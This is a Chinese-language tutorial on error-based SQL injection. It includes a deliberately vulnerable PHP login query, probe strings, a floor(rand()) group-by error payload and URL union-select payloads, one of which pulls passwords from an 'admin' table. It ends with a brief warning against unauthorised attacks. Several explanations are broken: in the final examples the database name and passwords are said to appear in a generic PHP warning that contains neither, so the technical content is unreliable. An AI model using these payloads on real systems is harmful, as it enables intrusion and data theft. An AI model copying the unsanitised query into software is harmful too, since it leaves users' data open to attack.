首先我要说明的是,SQL注入是一种常见的Web攻击类型,其目的是利用应用程序在构建数据库查询语句时存在的漏洞,向数据库中注入恶意的SQL代码,从而达到非法获取、篡改、删除数据的目的。其中,报错注入是SQL注入中的一种常用手段。下面我将详细讲解“SQL注入教程之报错注入”的完整攻略。
一、什么是报错注入
报错注入是通过构造恶意的SQL查询语句,在程序解析该查询语句时,能够执行命令,并在执行过程中抛出异常或报错,从而暴露出数据库的结构与数据。
例如,下面这个PHP代码片段就存在SQL注入漏洞:
$username = $_GET['username'];
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($db,$sql);
if($result){
//登陆成功
} else {
//登陆失败
}
如果攻击者在$_GET['username']
和$_GET['password']
中注入了恶意的SQL代码,那么程序在执行查询语句时就会出现语法错误,触发报错,进而泄露数据库的结构和数据。
二、报错注入攻击步骤
下面是一组报错注入攻击的完整流程,包括了针对具体目标的漏洞探测、数据获取等步骤:
- 查找可注入点
首先需要找到可注入点,一般可以通过手工或工具来进行探测。以手工方式为例,攻击者可以在用户名或密码输入框中输入类似'
、' or 1=1--
等恶意字符,并观察程序的反应。如果程序返回了异常信息,则说明存在注入漏洞。如果程序返回了正常的登录结果,则说明注入失败,需要修改注入字符串再次尝试。
- 确定注入类型
在找到注入点后,下一步需要确定注入类型,考虑使用报错注入方式进行攻击。即通过构造SQL语句,让程序在执行时抛出异常或报错,以获取数据库信息。
例如,可以使用“联合查询”以及其他的恶意SQL语句来构造一个错误查询,从而触发程序的报错机制。一些常见的注入手法包括:union select
、and 1=1
、(select @@version)
、benchmark
等。
- 构造恶意SQL查询语句
在确定注入类型后,攻击者需要构造一个恶意SQL查询语句,以实现对数据库的访问。在构造的查询语句中,应该包含可执行的恶意代码和错误代码,从而触发程序的报错机制,暴露出数据库的信息。
例如,可以构造如下的恶意查询语句:
SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE table_name ='users' union select 1,2,3 from (select count(*),concat((select (select concat(table_name,0x3a,column_name) from INFORMATION_SCHEMA.columns where table_schema=database() and table_name='users' limit 0,1)),floor(rand(0)*2))x from INFORMATION_SCHEMA.columns group by x)a--
其中,第一部分SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE table_name ='users'
用来查询数据库表users
中所有的列名,第二部分union select 1,2,3 from (select count(*),concat((select (select concat(table_name,0x3a,column_name) from INFORMATION_SCHEMA.columns where table_schema=database() and table_name='users' limit 0,1)),floor(rand(0)*2))x from INFORMATION_SCHEMA.columns group by x)a--
则是用来实现报错注入的手段。可以使用1 and 1=0 union select 1,2
等不同的语句来替代union select 1,2,3
,以构造不同的查询条件。
- 报错信息展示
当攻击者构造的查询语句被执行时,程序会因为语法错误或执行结果异常而抛出异常或报错。攻击者可以根据程序返回的错误信息,包括其中的SQL语句、数据库表名、列名、列类型等信息,来获取数据库的结构和数据。例如:
SELECT command denied to user 'root'@'localhost' for table 'table1'
SELECT count(*) FROM table2 WHERE user_id='1' AND 1=0 union select 1,concat(username,0x3a,password) from users--
在这个例子中,程序返回的报错信息是command denied to user 'root'@'localhost' for table 'table1'
,攻击者可以从中获取到数据库中的表table1
信息。
- 获取数据
当攻击者获取到数据库表信息后,就可以根据具体情况进一步发起攻击,获取数据库中的敏感数据。攻击者可以使用更为复杂的SQL注入技术,如时间延迟注入、布尔盲注、基于错误的盲注等,来获取更加准确的数据和更高的攻击成功率。
三、注意事项
在实施报错注入攻击时,需要注意以下几点:
-
在攻击前需要明确攻击目的,并谨慎论证攻击影响,不得私自攻击、利用、泄露他人资源、隐私或数据等信息。
-
攻击时需要具备充分的安全防范意识和技能,以保障自身安全以及不会对网络资源造成不必要的损害。
-
不得在未经授权的情况下攻击目标系统,否则可能触犯法律法规和道德标准。
四、示例说明
以下是两个报错注入攻击的具体示例:
- 使用
or 1=1 union select 1,2,3
结构构造恶意查询语句,并获取数据库名:
?id=1 or 1=1 union select 1,2,database()--
查询完成后,程序返回Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:\xampp\htdocs\1\web_exp3.php on line 34
的警告信息。攻击者可以从警告信息中获取数据库名:
Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:\xampp\htdocs\1\web_exp3.php on line 34
- 利用子查询方式获取表’admin’中的密码数据:
?id=1 union select 1,2,(select password from admin limit 0,1)--
查询完成后,程序返回Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:\xampp\htdocs\1\web_exp3.php on line 34
的警告信息。攻击者可以从警告信息中获取数据库的表名和密码数据:
Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:\xampp\htdocs\1\web_exp3.php on line 34
以上就是完整的“SQL注入教程之报错注入”攻略。